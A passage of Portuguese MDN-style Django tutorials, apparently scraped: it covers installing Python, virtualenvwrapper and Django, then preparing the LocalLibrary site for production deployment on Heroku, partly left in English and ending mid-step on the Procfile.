computador. A própria equipe de desenvolvedores Django recomenda o uso de ambientes virtuais Python!\n\nEsse módulo assume que você instalou o Django em um ambiente virtual, nós iremos mostrá-lo como fazer isso logo abaixo.\n\nInstalando Python 3\n-------------------\n\nVocê deve ter Python instalado em seu sistema operacional para usar Django. Se você estiver usando *Python 3*, também precisará da ferramenta Python Package Index — *pip3* — que é usada para administrar (instalar, editar, remover) pacotes/bibliotecas Python usadas por Django e seus outros aplicativos Python.\n\nEssa parte explica brevemente como você pode checar quais versões de Python estão disponíveis e instalar novas versões se necessário (em Ubuntu 18.04, macOS e Windows 10).\n\n**Nota:** Dependendo da sua plataforma, você também pode instalar Python/pip3 no seu sistema operacional através de seu próprio gerenciador de pacotes ou por outros mecanismos. Para a maioria das plataformas, você pode baixar os arquivos necessários para instalação em https://www.python.org/downloads/ e instalá-los usando o método específico da plataforma em questão.\n\n### Ubuntu 18.04\n\nUbuntu Linux 18.04 LTS inclui Python 3.6.6 por padrão. Você pode confirmar isso executando o seguinte comando no Terminal:\n\n\n```bash\npython3 -V\n Python 3.6.6\n```\n\n\nContudo, o Python Package Index, que você precisará para instalar pacotes para Python 3 (incluindo Django), **não** está disponível por padrão. Você pode instalar pip3 pelo Terminal usando:\n\n\n```bash\nsudo apt install python3-pip\n```\n\n### macOS\n\nmacOS \"El Capitan\" e outras versões mais recentes não incluem Python 3. Você pode confirmar isto executando os comandos abaixo no Terminal:\n\n\n```bash\npython3 -V\n -bash: python3: command not found\n```\n\n\nVocê pode instalar Python 3 (com a ferramenta pip3) facilmente em python.org:\n\n1. Baixe o instalador exigido:\n    1. Acesse https://www.python.org/downloads/\n    2. Selecione o botão **Download Python 3.7.1** (o número exato da versão menor pode diferir).\n2. Localize o arquivo usando *o Finder*, e clique duplo no arquivo do pacote. Siga os passos da instalação dos prompts.\n\nAgora você pode confirmar se tudo deu certo checando o *Python 3* como mostrado abaixo:\n\n\n```bash\npython3 -V\n Python 3.7.1\n```\n\n\nVocê pode checar se *pip3* está instalado listando todos os pacotes disponíveis.\n\n\n```bash\npip3 list\n```\n\n### Windows 10\n\nWindows não inclui Python por padrão, mas você pode instalá-lo facilmente (com a ferramenta *pip3*) em python.org:\n\n1. Baixe o instalador exigido:\n    1. Acesse https://www.python.org/downloads/\n    2. Selecione o botão **Download Python 3.7.1** (o número exato da versão menor pode diferir).\n2. Instale Python com um clique duplo no arquivo baixado e siga a instalação dos prompts.\n3. Tenha certeza que a caixa \"Add Python to PATH\" está checada.\n\nVocê pode verificar se o Python 3 foi instalado colocando o seguinte texto no Prompt de Comando\n\n\n```bash\npy -3 -V\n Python 3.7.1\n```\n\n\nO instalador do Windows incorpora *pip3* (o administrador de pacotes Python) por padrão. Você pode facilmente listar os pacotes instalados com o comando abaixo:\n\n\n```bash\npip3 list\n```\n\n\n**Nota:** O instalador deve ter configurado tudo que você precisa antes para esse comando funcionar. Se for exibida uma mensagem que Python não encontrou, você pode ter esquecido de adicioná-lo ao PATH do Sistema. Você pode fazer isso exexutando o instalador novamente, selecionando \"Modify\", e checando a caixa chamada \" Add Python to environment variables \" na segunda tela.\n\nUsando Django em um ambiente virtual Python\n-------------------------------------------\n\nAs bibliotecas que nós iremos usar para criar nossos ambientes virtuais são virtualenvwrapper (Linux e macOS) e virtualenvwrapper-win (Windows), sendo que ambas usam a ferramenta virtualenv (en-US). as bibliotecas criam uma interface consistente para manusear interfaces em todas plataformas;\n\n### Instalando o software de ambiente virtual\n\n#### Instalação do ambiente virtual no Ubuntu\n\nApós instalar Python e pip, você pode instalar *virtualenvwrapper* (que inclui*virtualenv*). O guia oficial para a instalação pode ser encontrado aqui, ou siga as instruções abaixo.\n\nInstale a ferramenta usando *pip3*:\n\n\n```bash\nsudo pip3 install virtualenvwrapper\n```\n\n\nEm seguida, adicione as linhas abaixo no fim de seu arquivo shell startup (este é um arquivo oculto nomeado **.bashrc** em seu diretório home). Isto coloca a localização de onde seus ambientes virtuais deveriam estar, a localização dos diretórios para desevolvimento de projetos e a localização do script instalado com o pacote.\n\n\n```bash\nexport WORKON\\_HOME=$HOME/.virtualenvs\nexport VIRTUALENVWRAPPER\\_PYTHON=/usr/bin/python3\nexport VIRTUALENVWRAPPER\\_VIRTUALENV\\_ARGS=' -p /usr/bin/python3 '\nexport PROJECT\\_HOME=$HOME/Devel\nsource /usr/local/bin/virtualenvwrapper.sh\n```\n\n\n**Nota:** As variáveis `VIRTUALENVWRAPPER_PYTHON` e `VIRTUALENVWRAPPER_VIRTUALENV_ARGS` apontam para a localização em uma instalação normal de Python 3, e `source /usr/local/bin/virtualenvwrapper.sh` aponta para a localização normal do script `virtualenvwrapper.sh` Se *virtualenv* não funciona quando você testa, uma coisa a se verificar é se o Python e o script estão na localização esperada (e então alterar o arquivo de startup com os caminhos corretos).\n\nVocê pode encontrar a localização correta no seu sistema usando os comandos `which virtualenvwrapper.sh` e `which python3`.\n\nRecarregue o arquivo de startup executando o seguinte comando no Terminal:\n\n\n```bash\nsource ~/.bashrc\n```\n\n\nApós executar o comando, você deveria ver scripts como esses:\n\n\n```bash\nvirtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject\nvirtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject\n...\nvirtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate\nvirtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate\nvirtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details\n```\n\n\nAgora você pode criar um novo ambiente virtual com o comando `mkvirtualenv`.\n\n#### Instalação do ambiente virtual no macOS\n\nInstalar *virtualenvwrapper* no macOS é quase a mesma coisa que instalar no Ubuntu (novamente, você pode seguir as instruções do guia oficial de instalação ou as instruções abaixo).\n\nInstale *virtualenvwrapper* (e *virtualenv*) usando *pip* como abaixo.\n\n\n```bash\nsudo pip3 install virtualenvwrapper\n```\n\n\nEntão adicione as seguintes linhas no arquivo de startup do seu shell.\n\n\n```bash\nexport WORKON\\_HOME=$HOME/.virtualenvs\nexport VIRTUALENVWRAPPER\\_PYTHON=/usr/bin/python3\nexport PROJECT\\_HOME=$HOME/Devel\nsource /usr/local/bin/virtualenvwrapper.sh\n```\n\n\n**Nota:** A variável `VIRTUALENVWRAPPER_PYTHON` aponta para uma localização em uma instalação normal de Python 3, e `source /usr/local/bin/virtualenvwrapper.sh` aponta para a localização comum do script `virtualenvwrapper.sh`. Se *virtualenv* não funciona quando você testa, uma coisa a se verificar é se o Python e o script estão na localização esperada (e então alterar o arquivo de startup com os caminhos corretos).\n\nPor exemplo, uma instalação teste no macOS termina com as seguintes linhas no arquivo de startup:\n\n\n```bash\nexport WORKON\\_HOME=$HOME/.virtualenvs\nexport VIRTUALENVWRAPPER\\_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3\nexport PROJECT\\_HOME=$HOME/Devel\nsource /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh\n```\n\n\nVocê pode encontrar a localização correta no seu sistema usando os comandos `which virtualenvwrapper.sh` e `which python3`.\n\nSão as mesmas linhas digitadas no Ubuntu, mas o arquivo de startup é diferente nomeado como **.bash\\_profile**, oculto no seu diretório home.\n\n**Nota:** Se você não acha o arquivo **.bash\\_profile** pelo finder, você pode abir pelo terminal usando o *nano*.\n\nOs comandos são como esses:\n```\n\ncd ~  # Navigate to my home directory\nls -la #List the content of the directory. YOu should see .bash_profile\nnano .bash_profile # Open the file in the nano text editor, within the terminal\n# Scroll to the end of the file, and copy in the lines above\n# Use Ctrl+X to exit nano, Choose Y to save the file.\n```\n\n\nAtualize o arquivo de startup fazendo o seguinte chamado no terminal:\n\n\n```bash\nsource ~/.bash_profile\n```\n\n\nCom isso, você deveria ver alguns scripts na tela do terminal sendo executados (os mesmos scripts da instalação no Ubuntu). Agora você está apto a criar um novo ambiente virtual pelo comando `mkvirtualenv`.\n\n#### Instalação do ambiente virtual no Windows 10\n\nInstalar virtualenvwrapper-win é ainda mais simples que instalar *virtualenvwrapper*, porque você não precisa configurar onde a ferramenta armazena as informações do ambiente virtual (pois é um valor padrão). Tudo que você precisa fazer é rodar o seguinte comando no Prompt de Comando.\n```\n\npip3 install virtualenvwrapper-win\n```\n\n\nAgora você pode criar um novo ambiente virtual com o comando `mkvirtualenv`.\n\n### Criando um ambiente virtual\n\nUma vez que você tenha instalado *virtualenvwrapper* ou *virtualenvwrapper-win*, trabalhar com ambientes virtuais é bem parecido em todas as plataformas.\n\nAgora você pode criar um novo ambiente virtual com o comando `mkvirtualenv`. Ao executar esse comando, você verá o ambiente sendo configurado (o que você verá varia um pouco em cada plataforma). Quando o comando encerrar a configuração, o ambiente virtual estará ativo — você pode ver isso porque no topo do prompt (aquela barra de título do programa) estará escrito o nome do ambiente entre colchetes (abaixo nós mostramos como é a criação do ambiente no Ubuntu, mas o comando é igual para o Windows/macOS).\n```\n\n$ mkvirtualenv my_django_environment\n\nRunning virtualenv with interpreter /usr/bin/python3\n...\nvirtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details\n(my_django_environment) ubuntu@ubuntu:~$\n```\n\n\nAgora que você está em um ambiente virtual, você pode instalar Django e iniciar o desenvolvimento.\n\n**Nota:** De agora em diante, esse artigo (na verdade todo o módulo) está supondo que todos os comando serão executados em um ambiente virtual Python como o que configuramos acima.\n\n### Usando um ambiente virtual\n\nExistem apenas alguns poucos comandos que você deveria conhecer (há mais comandos que você pode encontrar na documentação da ferramenta, porém, os comandos abaixo serão os que você usará regularmente):\n\n* `deactivate` — Encerra o ambiente virtual Python corrente.\n* `workon` — Lista ambientes virtuais disponíveis.\n* `workon name_of_environment` — Ativa o ambiente virtual Python especificado.\n* `rmvirtualenv name_of_environment` — Remove o ambiente especificado.\nInstalando o Django\n-------------------\n\nApós criar um ambiente virtual e usado o comando `workon` para ativá-lo, você pode usar *pip3* para instalar o Django.\n\n\n```bash\npip3 install django\n```\n\n\nVocê pode testar a instalação do Django executando o seguinte comando (isso apenas testa se o Python pode achar o módulo Django):\n\n\n```bash\n# Linux/macOS\npython3 -m django --version\n 2.1.5\n\n# Windows\npy -3 -m django --version\n 2.1.5\n```\n\n\n**Nota:** Se o comando Windows acima não mostrar um módulo django, tente:\n\n\n```bash\npy -m django --version\n```\n\n\nNo Windows, os scripts *Python 3* são iniciados prefixando o comando com `py -3`, embora isso possa variar de acordo com sua instalação. Tente omitir o modificador `-3` se você encontrar algum problema com os comandos. No Linux/macOS, o comando é `python3`.\n\n**Aviso:** **Importante**: O resto deste **módulo** usa o comando *Linux* para chamar o Python 3 (`python3`). Se você está usando o Windows, substitua o prefixo por: `py -3`\n\nTestando sua instalação\n-----------------------\n\nO teste acima funciona, mas não é muito divertido. Um teste mais interessante é criar o esqueleto de um projeto e vê-lo funcionando. Para fazer isso, para isso navegue em seu prompt de comando/terminal até o diretório que quer armazenar seus aplicativos Django. Crie uma pasta para seu site e navegue nela.\n\n\n```bash\nmkdir django_test\ncd django_test\n```\n\n\nAgora você pode criar um novo site chamado \"*mytestsite*\" usando a ferramenta **django-admin**. Após criar o site você pode navegar dentro da pasta onde encontrará o script principal para gerenciar projetos, nomeado **manage.py**.\n\n\n```bash\ndjango-admin startproject mytestsite\ncd mytestsite\n```\n\n\nNós podemos rodar o *web server de desenvolvimento* dentro dessa pasta usando o **manage.py** e o comando `runserver`, como mostrado.\n\n\n```bash\n$ python3 manage.py runserver\nPerforming system checks...\n\nSystem check identified no issues (0 silenced).\n\nYou have 15 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.\nRun 'python manage.py migrate' to apply them.\n\nDecember 16, 2018 - 07:06:30\nDjango version 2.1.5, using settings 'mytestsite.settings'\nStarting development server at http://127.0.0.1:8000/\nQuit the server with CONTROL-C.\n```\n\n\n**Nota:** Acima foi mostrado o comando em Linux/macOS. Você já pode ignorar o aviso sobre \"15 unapplied migration(s)\"!\n\n Uma vez que o servidor está operando, você pode acessar o site colocando a seguinte URL no seu navegador local:`http://127.0.0.1:8000/`. Você deveria ver um site como esse:\n\n ![Django Skeleton App Homepage - Django 2.0](/pt-BR/docs/Learn/Server-side/Django/development_environment/django_skeleton_website_homepage_2_1.png)\n\nResumo\n------\n\nAgora você tem um ambiente de desenvolvimento em Django funcionando em seu computador.\n\nNa seção *Testando sua instalação* você viu brevemente como criar um website Django usando `django-admin startproject`, e executá-lo em seu navegador usando um web server de desenvolvimento (`python3 manage.py runserver`). No próximo artigo nós iremos expandir esse processo, construindo uma aplicação web simples, mas completa.\n\nVeja também\n-----------\n\n* Guia de Instalação Rápida (documentação Django)\n* Como instalar Django — Guia completo (documentação Django) - inclui informações para remover o Django\n* Como instalar Django no Windows (documentação Django)\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 11: Hospedando Django para produção - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 11: Hospedando Django para produção\n=========================================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nAgora que criou (e testou) um fantástico website de Biblioteca Local, vai querer instalá-lo em um servidor web público para que possa ser acessado pelo pessoal da biblioteca e membros através da Internet. Este artigo fornece uma visão geral de como poderá encontrar um servidor de hospedagem para instalar o seu web site, e o que precisa fazer para ter o seu site web pronto para produção.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Completar todos os tópicos do tutorial anterior, incluindo o\n Tutorial Django Parte 10: Testando uma aplicação web Django.\n |\n| Objectivo: | \n Para saber onde e como se pode hospedar uma aplicação Django na\n produção.\n  |\n\nVisão geral\n-----------\n\nUma vez terminado o seu website (ou terminado \"o suficiente\" para iniciar testes públicos) vai precisar publicá-lo em um host mais público e acessível do que o seu computador de desenvolvimento pessoal.\n\nAté agora tem trabalhado em um ambiente de desenvolvimento, utilizando o servidor web de desenvolvimento Django para compartilhar o seu site com o navegador/rede local, e executando o seu site com configurações de desenvolvimento (inseguras) que expõem debug e outras informações privadas. Antes de poder hospedar um website externamente, vai precisar fazer primeiro:\n\n* Faça algumas alterações nas configurações do seu projeto.\n* Escolher um ambiente para hospedar a aplicação Django.\n* Escolher um ambiente para hospedar qualquer arquivo estático.\n* Configurar uma infraestrutura de nível de produção para servir seu website.\n\nEste tutorial fornece algumas orientações sobre suas opções para escolher um site de hospedagem, uma breve visão geral do que você precisa fazer para deixar seu aplicativo Django pronto para produção e um exemplo prático de como instalar o site Biblioteca Local no serviço de hospedagem em nuvem do Heroku.\n\nO que é um ambiente de produção?\n--------------------------------\n\nO ambiente de produção é o ambiente fornecido pelo computador/servidor onde você executará seu site para consumo externo. O ambiente inclui:\n\n* Hardware de computador no qual o website é executado.\n* Sistema operacional (por exemplo, Linux, Windows).\n* Linguagem de programação de tempo de execução e bibliotecas de estrutura sobre as quais seu site é escrito.\n* Servidor da Web usado para servir páginas e outros conteúdos (por exemplo, Nginx, Apache).\n* Servidor de aplicativos que passa solicitações \"dinâmicas\" entre seu site Django e o servidor web.\n* Bancos de dados dos quais seu site depende.\n\n> \n> \\*\\*Nota:\\*\\*Dependendo de como sua produção está configurada, você também pode ter um proxy reverso, load balancer(balanceador de carga), etc.\n> \n> \n> \n\nO computador/servidor pode estar localizado em suas instalações e conectado à Internet por um link rápido, mas é muito mais comum usar um computador hospedado \"na nuvem\". O que isso realmente significa é que seu código é executado em algum computador remoto (ou possivelmente em um computador \"virtual\") no(s) centro(s) de dados da empresa de hospedagem. O servidor remoto geralmente oferece algum nível garantido de recursos de computação (por exemplo, CPU, RAM, memória de armazenamento, etc.) e conectividade com a Internet por um determinado preço.\n\nEsse tipo de hardware de computação/rede acessível remotamente é conhecido como *Infraestrutura como Serviço* (IaaS). Muitos fornecedores de IaaS fornecem opções para pré-instalar um sistema operacional específico, no qual você deve instalar os outros componentes de seu ambiente de produção. Outros fornecedores permitem que você selecione ambientes com mais recursos, talvez incluindo uma configuração completa de Django e servidor web.\n\n**Nota:** Ambientes pré-construídos podem tornar a configuração do seu site muito fácil porque reduzem a configuração, mas as opções disponíveis podem limitar você a um servidor desconhecido (ou outros componentes) e podem ser baseadas em uma versão mais antiga do sistema operacional. Freqüentemente, é melhor instalar você mesmo os componentes, para obter os que deseja e, quando precisar atualizar partes do sistema, tenha uma ideia de por onde começar!\n\nOutros provedores de hospedagem oferecem suporte a Django como parte de uma oferta de *Plataforma como Serviço* (PaaS). Nesse tipo de hospedagem, você não precisa se preocupar com a maior parte do seu ambiente de produção (servidor da web, servidor de aplicativos, balanceadores de carga), pois a plataforma host cuida disso para você (junto com a maior parte do que você precisa fazer para para dimensionar seu aplicativo). Isso torna a implantação muito fácil, porque você só precisa se concentrar em seu aplicativo da web e não em toda a outra infraestrutura de servidor.\n\nAlguns desenvolvedores escolherão a maior flexibilidade fornecida por IaaS em vez de PaaS, enquanto outros apreciarão a sobrecarga de manutenção reduzida e escalonamento mais fácil de PaaS. Quando você está começando, configurar seu site em um sistema PaaS é muito mais fácil e é isso que faremos neste tutorial.\n\n**Nota:** **Dica:** Se você escolher um provedor de hospedagem compatível com Python / Django, ele deve fornecer instruções sobre como configurar um site Django usando diferentes configurações de servidor da web, servidor de aplicativos, proxy reverso, etc (isso não será relevante se você escolher um PaaS ) Por exemplo, existem muitos guias passo a passo para várias configurações nos documentos da comunidade Digital Ocean Django.\n\nEscolhendo um provedor de hospedagem\n------------------------------------\n\nExistem mais de 100 provedores de hospedagem que são conhecidos por oferecer suporte ativo ou funcionar bem com o Django (você pode encontrar uma lista bastante exaustiva em Djangofriendly hosts). Esses fornecedores oferecem diferentes tipos de ambientes (IaaS, PaaS) e diferentes níveis de recursos de computação e rede a preços diferentes.\n\nAlgumas coisas a serem consideradas ao escolher um host:\n\n* O quão ocupado seu site provavelmente estará e o custo dos dados e recursos de computação necessários para atender a essa demanda.\n* Nível de suporte para escalonamento horizontal (adicionando mais máquinas) e verticalmente (atualizando para máquinas mais potentes) e os custos de fazê-lo.\n* Onde o fornecedor possui centros de dados e, portanto, onde o acesso provavelmente será mais rápido.\n* O histórico de tempo de atividade e desempenho do tempo de inatividade do host.\n* Ferramentas fornecidas para gerenciar o site - são fáceis de usar e seguras (por exemplo, SFTP x FTP).\n* Estruturas integradas para monitorar seu servidor.\n* Limitações conhecidas. Alguns hosts bloqueiam deliberadamente certos serviços (por exemplo, e-mail). Outros oferecem apenas um certo número de horas de \"tempo de vida\" em algumas faixas de preço ou oferecem apenas uma pequena quantidade de armazenamento.\n* Benefícios adicionais. Alguns provedores oferecem nomes de domínio gratuitos e suporte para certificados SSL que, de outra forma, você teria que pagar.\n* Se o nível \"gratuito\" com o qual você está contando expira com o tempo e se o custo de migrar para um nível mais caro significa que você teria ficado melhor usando algum outro serviço em primeiro lugar!\n\nA boa notícia quando você está começando é que existem alguns sites que fornecem ambientes de computação de \"avaliação\", \"desenvolvedor\" ou \"amador\" de graça. Esses são sempre ambientes com recursos limitados / restritos e você precisa estar ciente de que eles podem expirar após um período introdutório. No entanto, eles são ótimos para testar sites de baixo tráfego em um ambiente real e podem fornecer uma migração fácil para pagar por mais recursos quando seu site ficar mais ocupado. As escolhas populares nesta categoria incluem Heroku, Python Anywhere, Amazon Web Services, Microsoft Azure, etc.\n\nMuitos provedores também têm uma camada \"básica\" que fornece níveis mais úteis de capacidade de computação e menos limitações. Digital Ocean e Python Anywhere são exemplos de provedores de hospedagem populares que oferecem uma camada de computação básica relativamente barata (na faixa de US$5 a US$10 por mês).\n\n> \n> \\*\\*Nota:\\*\\*Lembre-se de que o preço não é o único critério de seleção. Se o seu site for bem-sucedido, pode ser que a escalabilidade seja a consideração mais importante.\n> \n> \n> \n\nPreparando seu site para publicação\n-----------------------------------\n\nO esqueleto do site do Django criado usando as ferramentas django-admin e manage.py é configurado para tornar o desenvolvimento mais fácil. Muitas das configurações do projeto Django (especificadas em settings.py) devem ser diferentes para produção, por motivos de segurança ou desempenho.\n\n**Nota:** **Dica:** É comum ter um arquivo **settings.py** separado para produção e importar configurações confidenciais de um arquivo separado ou de uma variável de ambiente. Este arquivo deve ser protegido, mesmo se o resto do código-fonte estiver disponível em um repositório público.\n\nAs configurações críticas que você deve verificar são:\n\n* `DEBUG`. Isso deve ser definido como `False` em produção (`DEBUG = False`). Isso impede que o rastreamento de depuração sensível/confidencial e as informações variáveis sejam exibidas.\n* `SECRET_KEY`. Este é um grande valor aleatório usado para proteção contra CSRF etc. É importante que a chave usada na produção não esteja no controle de origem ou acessível fora do servidor de produção. Os documentos do Django sugerem que isso pode ser melhor carregado de uma variável de ambiente ou lido de um arquivo somente servidor.\n\n```python\n# Read SECRET\\_KEY from an environment variable\nimport os\nSECRET_KEY = os.environ['SECRET\\_KEY']\n\n# OR\n\n# Read secret key from a file\nwith open('/etc/secret\\_key.txt') as f:\n    SECRET_KEY = f.read().strip()\n```\n\n\nVamos mudar o aplicativo LocalLibrary para que possamos ler nosso `SECRET_KEY` e `DEBUG` variáveis de variáveis de ambiente se forem definidas, mas caso contrário, use os valores padrão no arquivo de configuração.\n\nAbra **/locallibrary/settings.py**, desative o original `SECRET_KEY`configuração e adicione as novas linhas conforme mostrado abaixo em **negrito**. Durante o desenvolvimento, nenhuma variável de ambiente será especificada para a chave, então o valor padrão será usado (não importa qual chave você usa aqui, ou se a chave \"vaza\", porque você não a usará na produção).\n\n\n```python\n# SECURITY WARNING: keep the secret key used in production secret!\n# SECRET\\_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2\\_+&k3q+pmu)5%asj6yjpkag'\nimport os\nSECRET_KEY = os.environ.get('DJANGO\\_SECRET\\_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2\\_+&k3q+pmu)5%asj6yjpkag')\n```\n\n\nEm seguida, comente o existente `DEBUG` configuração e adicione a nova linha mostrada abaixo.\n\n\n```python\n# SECURITY WARNING: don't run with debug turned on in production!\n# DEBUG = True\nDEBUG = os.environ.get('DJANGO\\_DEBUG', '') != 'False'\n```\n\n\nO valor do `DEBUG` será `True` por padrão, mas será apenas `False` se o valor do `DJANGO_DEBUG` variável de ambiente é definida para `False`. Observe que as variáveis de ambiente são strings e não tipos Python. Portanto, precisamos comparar strings. A única maneira de definir o `DEBUG` variável para `False` é realmente configurá-lo para a string `False`\n\nVocê pode definir a variável de ambiente como False, emitindo o seguinte comando:\n\n\n```bash\nexport DJANGO\\_DEBUG=False\n```\n\n\nUma lista de verificação completa das configurações que você pode querer mudar é fornecida na Lista de verificação de implantação (documentos do Django). Você também pode listar vários deles usando o comando de terminal abaixo:\n\n\n```python\npython3 manage.py check --deploy\n```\n\nExemplo: Instalando LocalLibrary no Heroku\n------------------------------------------\n\nEsta seção fornece uma demonstração prática de como instalar a LocalLibrary na nuvem Heroku PaaS.\n\n### Por que Heroku?\n\nHeroku é um dos mais antigos e populares serviços de PaaS baseados em nuvem. Originalmente, ele suportava apenas aplicativos Ruby, mas agora pode ser usado para hospedar aplicativos de muitos ambientes de programação, incluindo Django!\n\nEstamos optando por usar o Heroku por vários motivos:\n\n* O Heroku tem um nível gratuito que é realmente gratuito (embora com algumas limitações).\n* Como PaaS, o Heroku cuida de grande parte da infraestrutura web para nós. Isso torna muito mais fácil começar, porque você não se preocupa com servidores, balanceadores de carga, proxies reversos ou qualquer outra infraestrutura web que o Heroku fornece para nós nos bastidores.\n* Embora tenha algumas limitações, elas não afetarão este aplicativo específico. Por exemplo:\n    + O Heroku fornece apenas armazenamento de curta duração, portanto, os arquivos carregados pelo usuário não podem ser armazenados com segurança no próprio Heroku.\n    + O nível gratuito suspenderá um aplicativo da web inativo se não houver solicitações dentro de um período de meia hora. O site pode levar vários segundos para responder quando for ativado.\n    + O nível gratuito limita o tempo de execução do seu site a uma determinada quantidade de horas todos os meses (sem incluir o tempo em que o site fica \"adormecido\"). Isso é bom para um site de baixo uso/demonstração, mas não será adequado se 100% de tempo de atividade for necessário.\n    + Outras limitações estão listadas em Limites (documentos do Heroku).\n* Na maioria das vezes, ele simplesmente funciona e, se você acabar adorando, dimensionar seu aplicativo é muito fácil.\n\nEmbora o Heroku seja perfeito para hospedar esta demonstração, pode não ser perfeito para o seu site real. O Heroku torna as coisas fáceis de configurar e escalar, ao custo de ser menos flexível e potencialmente muito mais caro depois que você sai do nível gratuito.\n\n### How does Heroku work?\n\nHeroku runs Django websites within one or more \"Dynos\", which are isolated, virtualized Unix containers that provide the environment required to run an application. The dynos are completely isolated and have an *ephemeral* file system (a short-lived file system that is cleaned/emptied every time the dyno restarts). The only thing that dynos share by default are application configuration variables. Heroku internally uses a load balancer to distribute web traffic to all \"web\" dynos. Since nothing is shared between them, Heroku can scale an app horizontally simply by adding more dynos (though of course you may also need to scale your database to accept additional connections).\n\nBecause the file system is ephemeral you can't install services required by your application directly (e.g. databases, queues, caching systems, storage, email services, etc). Instead Heroku web applications use backing services provided as independent \"add-ons\" by Heroku or 3rd parties. Once attached to your web application, the dynos access the services using information contained in application configuration variables.\n\nIn order to execute your application Heroku needs to be able to set up the appropriate environment and dependencies, and also understand how it is launched. For Django apps we provide this information in a number of text files:\n\n* **runtime.txt**: the programming language and version to use.\n* **requirements.txt**: the Python component dependencies, including Django.\n* **Procfile**: A list of processes to be executed to start the web application. For Django this will usually be the Gunicorn web application server (with a `.wsgi` script).\n* **wsgi.py**: WSGI configuration to call our Django application in the Heroku environment.\n\nDevelopers interact with Heroku using a special client app/terminal, which is much like a Unix Bash shell. This allows you to upload code that is stored in a git repository, inspect the running processes, see logs, set configuration variables and much more!\n\nIn order to get our application to work on Heroku we'll need to put our Django web application into a git repository, add the files above, integrate with a database add-on, and make changes to properly handle static files.\n\nOnce we've done all that we can set up a Heroku account, get the Heroku client, and use it to install our website.\n\n**Nota:** The instructions below reflect how to work with Heroku at time of writing. If Heroku significantly change their processes, you may wish to instead check their setup documents: Getting Started on Heroku with Django.\n\nThat's all the overview you need in order to get started (see How Heroku works for a more comprehensive guide).\n\n### Creating an application repository in Github\n\nHeroku is closely integrated with the **git** source code version control system, using it to upload/synchronise any changes you make to the live system. It does this by adding a new heroku \"remote\" repository named *heroku* pointing to a repository for your source on the Heroku cloud. During development you use git to store changes on your \"master\" repository. When you want to deploy your site, you sync your changes to the Heroku repository.\n\n**Nota:** If you're used to following good software development practices you are probably already using git or some other SCM system. If you already have a git repository, then you can skip this step.\n\nThere are a lot of ways to work with git, but one of the easiest is to first set up an account on Github, create the repository there, and then sync to it locally:\n\n1. Visit https://github.com/ and create an account.\n2. Once you are logged in, click the **+** link in the top toolbar and select **New repository**.\n3. Fill in all the fields on this form. While these are not compulsory, they are strongly recommended.\n    * Enter a new repository name (e.g. *django\\_local\\_library*), and description (e.g. \"Local Library website written in Django\".\n    * Choose **Python** in the *Add .gitignore* selection list.\n    * Choose your preferred license in the *Add license* selection list.\n    * Check **Initialize this repository with a README**.\n4. Press **Create repository**.\n5. Click the green \"**Clone or download**\" button on your new repo page.\n6. Copy the URL value from the text field inside the dialog box that appears (it should be something like: `https://github.com/<your_git_user_id>/django_local_library.git`).\n\nNow that the repository (\"repo\") is created we are going to want to clone it on our local computer:\n\n1. Install *git* for your local computer (you can find versions for different platforms here).\n2. Open a command prompt/terminal and clone your repository using the URL you copied above:\n\n```bash\ngit clone https://github.com/<your_git_user_id>/django_local_library.git\n```\n\nThis will create the repository in a new folder in the current working directory.\n3. Navigate into the new repo.\n\n```bash\ncd django_local_library\n```\n\n\nThe final steps are to copy your application into this local project directory and then add (or \"push\", in git lingo) the local repository to your remote Github repository:\n\n1. Copy your Django application into this folder (all the files at the same level as **manage.py** and below, **not** their containing locallibrary folder).\n2. Open the **.gitignore** file, copy the following lines into the bottom of it, and then save (this file is used to identify files that should not be uploaded to git by default).\n```\n\n# Text backup files\n*.bak\n\n# Database\n*.sqlite3\n```\n\n3. Open a command prompt/terminal and use the `add` command to add all files to git. This adds the files which aren't ignored by the **.gitignore** file to the \"staging area\".\n\n```bash\ngit add -A\n```\n\n4. Use the `status` command to check that all files you are about to `commit` are correct (you want to include source files, not binaries, temporary files etc.). It should look a bit like the listing below.\n```\n\n> git status\nOn branch master\nYour branch is up-to-date with 'origin/master'.\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        modified:   .gitignore\n        new file:   catalog/__init__.py\n        ...\n        new file:   catalog/migrations/0001_initial.py\n        ...\n        new file:   templates/registration/password_reset_form.html\n```\n\n5. When you're satisfied, `commit` the files to your local repository. This is essentially equivalent to signing off on the changes and making them an official part of the local repository.\n\n```bash\ngit commit -m \"First version of application moved into github\"\n```\n\n6. At this point, the remote repository has not been changed. Synchronise (`push`) your local repository to the remote Github repository using the following command:\n```\n\ngit push origin master\n```\n\n\nWhen this operation completes, you should be able to go back to the page on Github where you created your repo, refresh the page, and see that your whole application has now been uploaded. You can continue to update your repository as files change using this add/commit/push cycle.\n\n**Nota:** **Tip:** This is a good point to make a backup of your \"vanilla\" project — while some of the changes we're going to be making in the following sections might be useful for deployment on any platform (or development) others might not.\n\nThe *best* way to do this is to use *git* to manage your revisions. With *git* you can not only go back to a particular old version, but you can maintain this in a separate \"branch\" from your production changes and cherry-pick any changes to move between production and development branches. Learning Git is well worth the effort, but is beyond the scope of this topic.\n\nThe *easiest* way to do this is to just copy your files into another location. Use whichever approach best matches your knowledge of git!\n\n### Update the app for Heroku\n\nThis section explains the changes you'll need to make to our *LocalLibrary* application to get it to work on Heroku. While Heroku's Getting Started on Heroku with Django instructions assume you will use the Heroku client to also run your local development environment, our changes are compatible with the existing Django development server and the workflows we've already learned.\n\n#### Procfile\n\nCreate the file `Procfile` (no extension) in the root of your GitHub repository to declare the application's process types and entry points. Copy the following text into it:\n```\n\nweb: gunicorn locallibrary.wsgi --log-file 